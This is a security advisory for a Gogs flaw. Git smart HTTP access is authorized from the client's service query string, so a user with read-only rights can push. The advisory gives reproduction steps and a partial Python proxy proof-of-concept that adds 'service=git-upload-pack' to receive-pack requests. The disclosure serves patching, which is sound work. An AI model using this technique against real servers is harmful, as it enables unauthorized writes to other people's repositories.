CVE-2026-52810

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion

Published

2026-06-23

Modified

2026-07-21

EPSS percentile

35%

Aliases

GHSA-wmfg-5p4h-5fw3

Sources

github-advisory

Summary

### Summary Git smart HTTP authorizes `POST …/git-receive-pack` using the client-supplied service query string (so `?service=git-upload-pack` is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. ### Details Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: `upload-pack` for fetch (read) and `receive-pack` for push (write). In the affected implementation, the code derives the access mode from the `service` query parameter (for example, `service=git-upload-pack`) instead of the actual RPC path being executed. As a result, a request sent to the `receive-pack` endpoint can be incorrectly treated as a read operation if the query parameter claims it is an `upload-pack`. This behavior enables a request to POST to the write endpoint (`/repo.git/git-receive-pack`) while including a query string that indicates a read service. Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it. One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a `AuthUser` property becoming `nil` in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit. The two situations in which this is vulnerable are: * Attacker = collaborator with only Read rights & victim = owner of the repository * Instance using `REQUIRE_SIGNIN_VIEW = true`. Attacker = any signed in user & victim = any user with a public repository ### PoC 1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: `victim` & `attacker` 2. As the victim, create a new private repository and add the attacker as a Read collaborator: 3. As the attacker, execute the following Python script (editing global vars as required): ```py from __future__ import annotations import os import shutil import subprocess import sys import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import quote, urlsplit, urlunsplit import requests REPO_URL = "http://localhost:3000/victim/target" USERNAME = "attacker" PASSWORD = "attacker" class ProxyHandler(BaseHTTPRequestHandler): upstream_scheme: str upstream_netloc: str log_rewrite: bool def log_message(self, *_args) -> None: return def do_GET(self) -> None: self._relay("GET") def do_POST(self) -> None: self._relay("POST") def _relay(self, method: str) -> None: raw = self.path if raw.startswith("http://") or raw.startswith("https://"): u = urlsplit(raw) scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query else: u = urlsplit(raw) scheme, netloc, path, query = ( self.upstream_scheme, self.upstream_netloc, u.path, u.query, ) q = query or "" if path.endswith("/git-receive-pack") and "service=" not in q: query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack" if self.log_rewrite: sys.stderr.write( f"[poc] rewrite receive-pack -> {path}?{query}\n") url = urlunsplit((scheme, netloc, path, query, "")) length = self.headers.get("Content-Length") body = self.rfile.read(int(length)) if length else None skip = { "host", "connection", "proxy-connection", "content-length", "transfer-encoding", } out_headers = {}

Affected packages

Remediation: Upgrade to 0.14.3 or later.

References

• https://github.com/advisories/GHSA-wmfg-5p4h-5fw3